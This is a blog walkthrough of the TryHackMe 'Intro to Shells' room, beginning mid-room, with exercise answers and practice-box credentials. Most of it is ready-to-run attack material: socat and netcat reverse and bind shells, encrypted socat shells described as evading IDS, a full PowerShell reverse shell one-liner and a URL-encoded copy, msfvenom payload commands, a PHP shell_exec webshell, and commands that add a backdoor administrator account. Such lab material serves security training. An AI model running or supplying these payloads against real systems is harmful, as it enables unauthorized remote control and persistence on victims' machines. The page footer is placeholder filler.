    Ans :-  sudo python3 -m http.server 80





    Task 6 Socat


    Socat is similar to netcat in some ways, but fundamentally different in many others. The easiest way to think about socat is as a connector between two points. In the interests of this room, this will essentially be a listening port and the keyboard, however, it could also be a listening port and a file, or indeed, two listening ports. All socat does is provide a link between two points -- much like the portal gun from the Portal games!

    Once again, let's start with reverse shells.



    Reverse Shells

    As mentioned previously, the syntax for socat gets a lot harder than that of netcat. Here's the syntax for a basic reverse shell listener in socat:

    socat TCP-L:<port> -

    As always with socat, this is taking two points (a listening port, and standard input) and connecting them together. The resulting shell is unstable, but this will work on either Linux or Windows and is equivalent to nc -lvnp <port>.

    On Windows we would use this command to connect back:

    socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

    The "pipes" option is used to force powershell (or cmd.exe) to use Unix style standard input and output.

    This is the equivalent command for a Linux Target:

    socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"


    Bind Shells

    On a Linux target we would use the following command:

    socat TCP-L:<PORT> EXEC:"bash -li"

    On a Windows target we would use this command for our listener:

    socat TCP-L:<PORT> EXEC:powershell.exe,pipes

    We use the "pipes" argument to interface between the Unix and Windows ways of handling input and output in a CLI environment.

    Regardless of the target, we use this command on our attacking machine to connect to the waiting listener.

    socat TCP:<TARGET-IP>:<TARGET-PORT> -

     

    Now let's take a look at one of the more powerful uses for Socat: a fully stable Linux tty reverse shell. This will only work when the target is Linux, but is significantly more stable. As mentioned earlier, socat is an incredibly versatile tool; however, the following technique is perhaps one of its most useful applications. Here is the new listener syntax:

    socat TCP-L:<port> FILE:`tty`,raw,echo=0

    Let's break this command down into its two parts. As usual, we're connecting two points together. In this case those points are a listening port, and a file. Specifically, we are allocating a new tty, and setting the echo to be zero. This is approximately equivalent to using the Ctrl + Z, stty raw -echo; fg trick with a netcat shell -- with the added bonus of being immediately stable and allocating a full tty.

    The first listener can be connected to with any payload; however, this special listener must be activated with a very specific socat command. This means that the target must have socat installed. Most machines do not have socat installed by default, however, it's possible to upload a precompiled socat binary, which can then be executed as normal.


    https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true





    The special command is as follows:


    socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane



    This is a handful, so let's break it down.

    The first part is easy -- we're linking up with the listener running on our own machine. The second part of the command creates an interactive bash session with  EXEC:"bash -li". We're also passing the arguments: pty, stderr, sigint, setsid and sane:

    • pty, allocates a pseudoterminal on the target -- part of the stabilisation process
    • stderr, makes sure that any error messages get shown in the shell (often a problem with non-interactive shells)
    • sigint, passes any Ctrl + C commands through into the sub-process, allowing us to kill commands inside the shell
    • setsid, creates the process in a new session
    • sane, stabilises the terminal, attempting to "normalise" it.


     

    That's a lot to take in, so let's see it in action.

    As normal, on the left we have a listener running on our local attacking machine, on the right we have a simulation of a compromised target, running with a non-interactive shell. Using the non-interactive netcat shell, we execute the special socat command, and receive a fully interactive bash shell on the socat listener to the left:


    TryHackMe Intro To Shell - All About Shell






    Note that the socat shell is fully interactive, allowing us to use interactive commands such as SSH. This can then be further improved by setting the stty values as seen in the previous task, which will let us use text editors such as Vim or Nano.

    If, at any point, a socat shell is not working correctly, it's well worth increasing the verbosity by adding -d -d into the command. This is very useful for experimental purposes, but is not usually necessary for general use.


     

    1) How would we get socat to listen on TCP port 8080?

    Ans :- TCP-L:8080






     

    Task 7 Socat Encrypted Shells



    One of the many great things about socat is that it's capable of creating encrypted shells -- both bind and reverse. Why would we want to do this? Encrypted shells cannot be spied on unless you have the decryption key, and are often able to bypass an IDS as a result.

    We covered how to create basic shells in the previous task, so that syntax will not be covered again here. Suffice to say that any time TCP was used as part of a command, this should be replaced with OPENSSL when working with encrypted shells. We'll cover a few examples at the end of the task, but first let's talk about certificates.



    We first need to generate a certificate in order to use encrypted shells. This is easiest to do on our attacking machine:

    openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

    This command creates a 2048 bit RSA key with matching cert file, self-signed, and valid for just under a year. When you run this command it will ask you to fill in information about the certificate. This can be left blank, or filled randomly.
    We then need to merge the two created files into a single .pem file:



    cat shell.key shell.crt > shell.pem


     

    Now, when we set up our reverse shell listener, we use:

    socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

    This sets up an OPENSSL listener using our generated certificate. verify=0 tells the connection to not bother trying to validate that our certificate has been properly signed by a recognised authority. Please note that the certificate must be used on whichever device is listening.



    To connect back, we would use:

    socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

    The same technique would apply for a bind shell:

    Target:

    socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

    Attacker:

    socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

    Again, note that even for a Windows target, the certificate must be used with the listener, so copying the PEM file across for a bind shell is required.

    The following image shows an OPENSSL Reverse shell from a Linux target. As usual, the target is on the right, and the attacker is on the left:

     

     

     

    TryHackMe Intro To Shell - All About Shell

     



    This technique will also work with the special, Linux-only TTY shell covered in the previous task -- figuring out the syntax for this will be the challenge for this task. Feel free to use the Linux Practice box (deployable at the end of the room) to experiment if you're struggling to obtain the answer.


    1) What is the syntax for setting up an OPENSSL-LISTENER using the tty technique from the previous task? Use port 53, and a PEM file called "encrypt.pem"

    Ans :- socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
     

     

    2) If your IP is 10.10.10.5, what syntax would you use to connect back to this listener?

    Ans :- socat OPENSSL:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane




    Task 8 Common Shell Payloads


    We'll soon be looking at generating payloads with msfvenom, but before we do that, let's take a look at some common payloads using the tools we've already covered.

    A previous task mentioned that we'd be looking at some ways to use netcat as a listener for a bindshell, so we'll start with that. In some versions of netcat (including the nc.exe Windows version included with Kali at /usr/share/windows-resources/binaries, and the version used in Kali itself: netcat-traditional) there is a -e option which allows you to execute a process on connection. For example, as a listener:



    nc -lvnp <PORT> -e /bin/bash

    Connecting to the above listener with netcat would result in a bind shell on the target.

    Equally, for a reverse shell, connecting back with nc <LOCAL-IP> <PORT> -e /bin/bash would result in a reverse shell on the target.

    However, this is not included in most versions of netcat as it is widely seen to be very insecure (funny that, huh?). On Windows where a static binary is nearly always required anyway, this technique will work perfectly. On Linux, however, we would instead use this code to create a listener for a bind shell:

    mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f


     

    The following paragraph is the technical explanation for this command. It's slightly above the level of this room, so don't worry if it doesn't make much sense for now -- the command itself is what matters.





    The command first creates a named pipe https://www.linuxjournal.com/article/2156  


    at /tmp/f. It then starts a netcat listener, and connects the input of the listener to the output of the named pipe. The output of the netcat listener (i.e. the commands we send) then gets piped directly into sh, sending the stderr output stream into stdout, and sending stdout itself into the input of the named pipe, thus completing the circle.


    TryHackMe Intro To Shell - All About Shell




    A very similar command can be used to send a netcat reverse shell:

    mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f




    TryHackMe Intro To Shell - All About Shell


    This command is virtually identical to the previous one, other than using the netcat connect syntax, as opposed to the netcat listen syntax.


    When targeting a modern Windows Server, it is very common to require a Powershell reverse shell, so we'll be covering the standard one-liner PSH reverse shell here.


    This command is very convoluted, so for the sake of simplicity it will not be explained directly here. It is, however, an extremely useful one-liner to keep on hand:

     



    powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0

    $sendbyte.Length);$stream.Flush()};$client.Close()"

     

    In order to use this, we need to replace "<IP>" and "<port>" with an appropriate IP and choice of port. It can then be copied into a cmd.exe shell (or another method of executing commands on a Windows server, such as a webshell) and executed, resulting in a reverse shell:




    TryHackMe Intro To Shell - All About Shell


    For other common reverse shell payloads, Payloads all the Things is a repository containing a wide range of shell codes (usually in one-liner format for copying and pasting), in many different languages. It is well worth reading through the linked page to see what's available.

    https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md



    1) What command can be used to create a named pipe in Linux?


    Ans :- mkfifo

     

    Look through the linked Payloads all the Things Reverse Shell Cheatsheet and familiarise yourself with the languages available.





    Task 9 msfvenom


    Msfvenom: the one-stop-shop for all things payload related.

    Part of the Metasploit framework, msfvenom is used to generate code for, primarily reverse and bind shells. It is used extensively in lower-level exploit development to generate hexadecimal shellcode when developing something like a Buffer Overflow exploit; however, it can also be used to generate payloads in various formats (e.g. .exe, .aspx, .war, .py). It's this latter function that we will be making use of in this room. There is more to teach about msfvenom than could ever be fit into a single room, let alone a single task, so the following information will be a brief introduction to the concepts that will prove useful for this room.



    The standard syntax for msfvenom is as follows:

    msfvenom -p <PAYLOAD> <OPTIONS>


     

    For example, to generate a Windows x64 Reverse Shell in an exe format, we could use:

    msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

     


    TryHackMe Intro To Shell - All About Shell





    Here we are using a payload and four options:

     

    • -f <format>
    • Specifies the output format. In this case that is an executable (exe)
    • -o <file>
    • The output location and filename for the generated payload.
    • LHOST=<IP>
    • Specifies the IP to connect back to. When using TryHackMe, this will be your tun0 IP address. If you cannot load the link then you are not connected to the VPN.
    • LPORT=<port>

     

    The port on the local machine to connect back to. This can be anything between 0 and 65535 that isn't already in use; however, ports below 1024 are restricted and require a listener running with root privileges.



    Staged vs Stageless


     

    Before we go any further, there are another two concepts which must be introduced: staged reverse shell payloads and stageless reverse shell payloads.

    Staged payloads are sent in two parts. The first part is called the stager. This is a piece of code which is executed directly on the server itself. It connects back to a waiting listener, but doesn't actually contain any reverse shell code by itself. Instead it connects to the listener and downloads the actual payload. Thus the payload is split into two parts -- a small initial stager, then the bulkier reverse shell code which is downloaded when the stager is activated. Staged payloads require a special listener -- usually the Metasploit multi/handler, which will be covered in the next task.
     

    Stageless payloads are more common -- these are what we've been using up until now. They are entirely self-contained in that there is one piece of code which, when executed, sends a shell back immediately to the waiting listener.

    Stageless payloads tend to be easier to use and catch; however, they are also bulkier, and are easier for an antivirus or intrusion detection program to discovery and remove. Staged payloads are harder to use, but the initial stager is a lot shorter, and is sometimes missed by antivirus software.

     

    Meterpreter


    On the subject of Metasploit, another important thing to discuss is a Meterpreter shell. Meterpreter shells are Metasploit's own brand of fully-featured shell. They are completely stable, making them a very good thing when working with Windows targets. They also have a lot of inbuilt functionality of their own, such as file uploads and downloads. If we want to use any of Metasploit's post-exploitation tools then we need to use a meterpreter shell, however, that is a topic for another time.


     

    The downside to meterpreter shells is that they must be caught in Metasploit. They are also banned from certain certification examinations, so it's a good idea to learn alternative methodologies.




    Payload Naming Conventions


    When working with msfvenom, it's important to understand how the naming system works. The basic convention is as follows:



    <OS>/<arch>/<payload>

    For example:

    linux/x86/shell_reverse_tcp



    This would generate a stageless reverse shell for an x86 Linux target.

    The exception to this convention is Windows 32bit targets. For these, the arch is not specified. e.g.:



    windows/shell_reverse_tcp


    For a 64bit Windows target, the arch would be specified as normal (x64).

    msfvenom -p <PAYLOAD> <OPTIONS>


    Let's break the payload section down a little further.
    In the above examples the payload used was shell_reverse_tcp. This indicates that it was a stageless payload. How? Stageless payloads are denoted with underscores (_). The staged equivalent to this payload would be:

    shell/reverse_tcp

     

    As staged payloads are denoted with another forward slash (/).

    This rule also applies to Meterpreter payloads. A Windows 64bit staged Meterpreter payload would look like this:

    windows/x64/meterpreter/reverse_tcp

    A Linux 32bit stageless Meterpreter payload would look like this:

    linux/x86/meterpreter_reverse_tcp



    Aside from the msfconsole man page, the other important thing to note when working with msfvenom is:

    msfvenom --list payloads

     

    This can be used to list all available payloads, which can then be piped into grep to search for a specific set of payloads. For example:


    TryHackMe Intro To Shell - All About Shell

     

     

    This gives us a full set of Linux meterpreter payloads for 32bit targets.
    Generate a staged reverse shell for a 64 bit Windows target, in a .exe format using your TryHackMe tun0 IP address and a chosen port.



    1) Which symbol is used to show that a shell is stageless?

    Ans :-   _

     

    2) What command would you use to generate a staged meterpreter reverse shell for a 64bit Linux target, assuming your own IP was 10.10.10.5, and you were listening on port 443? The format for the shell is elf and the output filename should be shell

    Ans :- msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST=10.10.10.5 LPORT=443




    Task 10 Metasploit multi/handler


    Multi/Handler is a superb tool for catching reverse shells. It's essential if you want to use Meterpreter shells, and is the go-to when using staged payloads.

     

    Fortunately, it's relatively easy to use:

    •     Open Metasploit with msfconsole
    •     Type use multi/handler, and press enter


    We are now primed to start a multi/handler session. Let's take a look at the available options using the options command:


    TryHackMe Intro To Shell - All About Shell





    There are three options we need to set: payload, LHOST and LPORT. These are all identical to the options we set when generating  shellcode with Msfvenom -- a payload specific to our target, as well as a listening address and port with which we can receive a shell. Note that the LHOST must be specified here, as metasploit will not listen on all network interfaces like netcat or socat will; it must be told a specific address to listen with (when using TryHackMe, this will be your tun0 address). We set these options with the following commands:



        set PAYLOAD <payload>
        set LHOST <listen-address>
        set LPORT <listen-port>



    We should now be ready to start the listener!

    Let's do this by using the exploit -j command. This tells Metasploit to launch the module, running as a job in the background.


     

    TryHackMe Intro To Shell - All About Shell

     





    You may notice that in the above screenshot, Metasploit is listening on a port under 1024. To do this, Metasploit must be run with sudo permissions.


     

    TryHackMe Intro To Shell - All About Shell

     




    When the staged payload generated in the previous task is run, Metasploit receives the connection, sending the remainder of the payload and giving us a reverse shell:

    Notice that, because the multi/handler was originally backgrounded, we needed to use sessions 1 to foreground it again. This worked as it was the only session running. Had there been other sessions active, we would have needed to use sessions to see all active sessions, then use sessions <number> to select the appropriate session to foreground. This number would also have been displayed in the line where the shell was opened (see "Command Shell session 1 opened").



    1) What command can be used to start a listener in the background?

    Ans :- exploit -j


    2) If we had just received our tenth reverse shell in the current Metasploit session, what would be the command used to foreground it?


    Ans :- sessions 10





     

    Task 11 WebShells


    There are times when we encounter websites that allow us an opportunity to upload, in some way or another, an executable file. Ideally we would use this opportunity to upload code that would activate a reverse or bind shell, but sometimes this is not possible. In these cases we would instead upload a webshell. See the Upload Vulnerabilities Room for a more extensive look at this concept.



    "Webshell" is a colloquial term for a script that runs inside a webserver (usually in a language such as PHP or ASP) which executes code on the server. Essentially, commands are entered into a webpage -- either through a HTML form, or directly as arguments in the URL -- which are then executed by the script, with the results returned and written to the page. This can be extremely useful if there are firewalls in place, or even just as a stepping stone into a fully fledged reverse or bind shell.



    As PHP is still the most common server side scripting language, let's have a look at some simple code for this.



    In a very basic one line format:

    <?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>



    This will take a GET parameter in the URL and execute it on the system with shell_exec(). Essentially, what this means is that any commands we enter in the URL after ?cmd= will be executed on the system -- be it Windows or Linux. The "pre" elements are to ensure that the results are formatted correctly on the page.

    Let's see this in action:


     

    TryHackMe Intro To Shell - All About Shell

     





    Notice that when navigating the shell, we used a GET parameter "cmd" with the command "ifconfig", which correctly returned the network information of the box. In other words, by entering the ifconfig command (used to check the network interfaces on a Linux target) into the URL of our shell, it was executed on the system, with the results returned to us. This would work for any other command we chose to use (e.g. whoami, hostname, arch, etc).


    As mentioned previously, there are a variety of webshells available on Kali by default at /usr/share/webshells -- including the infamous PentestMonkey php-reverse-shell -- a full reverse shell written in PHP. Note that most generic, language specific (e.g. PHP) reverse shells are written for Unix based targets such as Linux webservers. They will not work on Windows by default.

    When the target is Windows, it is often easiest to obtain RCE using a web shell, or by using msfvenom to generate a reverse/bind shell in the language of the server. With the former method, obtaining RCE is often done with a URL Encoded Powershell Reverse Shell. This would be copied into the URL as the cmd argument:



    powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22


     

    This is the same shell we encountered in Task 8, however, it has been URL encoded to be used safely in a GET parameter. Remember that the IP and Port (bold, towards end of the top line) will still need to be changed in the above code.
    undefined


    Read the WebShells information.







     

    Task 12 Next Steps


    Ok, we have a shell. Now what?

    We've covered lots of ways to generate, send and receive shells. The one thing that these all have in common is that they tend to be unstable and non-interactive. Even Unix style shells which are easier to stabilise are not ideal. So, what can we do about this?



    On Linux ideally we would be looking for opportunities to gain access to a user account. SSH keys stored at /home/<user>/.ssh are often an ideal way to do this. In CTFs it's also not infrequent to find credentials lying around somewhere on the box. Some exploits will also allow you to add your own account. In particular something like Dirty C0w https://dirtycow.ninja/



    or a writeable /etc/shadow or /etc/passwd would quickly give you SSH access to the machine, assuming SSH is open.



    On Windows the options are often more limited. It's sometimes possible to find passwords for running services in the registry. VNC servers, for example, frequently leave passwords in the registry stored in plaintext. Some versions of the FileZilla FTP server also leave credentials in an XML file at C:\Program Files\FileZilla Server\FileZilla Server.xml
     or C:\xampp\FileZilla Server\FileZilla Server.xml

    . These can be MD5 hashes or in plaintext, depending on the version.



    Ideally on Windows you would obtain a shell running as the SYSTEM user, or an administrator account running with high privileges. In such a situation it's possible to simply add your own account (in the administrators group) to the machine, then log in over RDP, telnet, winexe, psexec, WinRM or any number of other methods, dependent on the services running on the box.



    The syntax for this is as follows:

    net user <username> <password> /add

    net localgroup administrators <username> /add


     

    The important take away from this task:

    Reverse and Bind shells are an essential technique for gaining remote code execution on a machine, however, they will never be as fully featured as a native shell. Ideally we always want to escalate into using a "normal" method for accessing the machine, as this will invariably be easier to use for further exploitation of the target.
     

    undefined


    Read the above information






    Task 13 Practice and Examples


    This room contained a lot of information, and gave you little opportunity to put it into practice throughout. The following two tasks contain virtual machines (one Ubuntu 18.04 server and one Windows server), each configured with a simple webserver with which you can upload and activate shells. This is a sandbox environment, so there will be no filters to bypass. Login credentials and instructions for each will also be given, should you wish to log in to practice with netcat, socat or meterpreter shells.



    The remainder of this task will consist of shell examples for you to try out on the practice boxes.



    Try uploading a webshell to the Linux box, then use the command: nc <LOCAL-IP> <PORT> -e /bin/bash to send a reverse shell back to a waiting listener on your own machine.

    2) Navigate to /usr/share/webshells/php/php-reverse-shell.php in Kali and change the IP and port to match your tun0 IP with a custom port. Set up a netcat listener, then upload and activate the shell.

    3) Log into the Linux machine over SSH using the credentials in task 14. Use the techniques in Task 8 to experiment with bind and reverse netcat shells.


    4) Practice reverse and bind shells using Socat on the Linux machine. Try both the normal and special techniques.



    5)
    Look through Payloads all the Things and try some of the other reverse shell techniques. Try to analyse them and see why they work.
    https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md



    6) Switch to the Windows VM. Try uploading and activating the php-reverse-shell. Does this work?

    7) Upload a webshell on the Windows target and try to obtain a reverse shell using Powershell.

    8) The webserver is running with SYSTEM privileges. Create a new user and add it to the "administrators" group, then login over RDP or WinRM.

    9) Experiment using socat and netcat to obtain reverse and bind shells on the Windows Target.

    10)
    Create a 64bit Windows Meterpreter shell using msfvenom and upload it to the Windows Target. Activate the shell and catch it with multi/handler. Experiment with the features of this shell.

    11) Create both staged and stageless meterpreter shells for either target. Upload and manually activate them, catching the shell with netcat -- does this work?



     

    Task 14 Linux Practice Box


    The box attached to this task is an Ubuntu server with a file upload page running on a webserver. This should be used to practice shell uploads on Linux systems. Equally, both socat and netcat are installed on this machine, so please feel free to log in via SSH on port 22 to practice with those directly. The credentials for logging in are:

    • Username: shell
    • Password: TryH4ckM3!

       



    Task 15 Windows Practice Box


    This task contains a Windows 2019 Server box running a XAMPP webserver. This can be used to practice shell uploads on Windows. Again, both Socat and Netcat are installed, so feel free to log in over RDP or WinRM to practice with these. The credentials are:

    • Username: Administrator
    • Password: TryH4ckM3!


    To login using RDP:


    xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE_IP /u:Administrator /p:'TryH4ckM3!'





    Disclaimer


    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)



  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.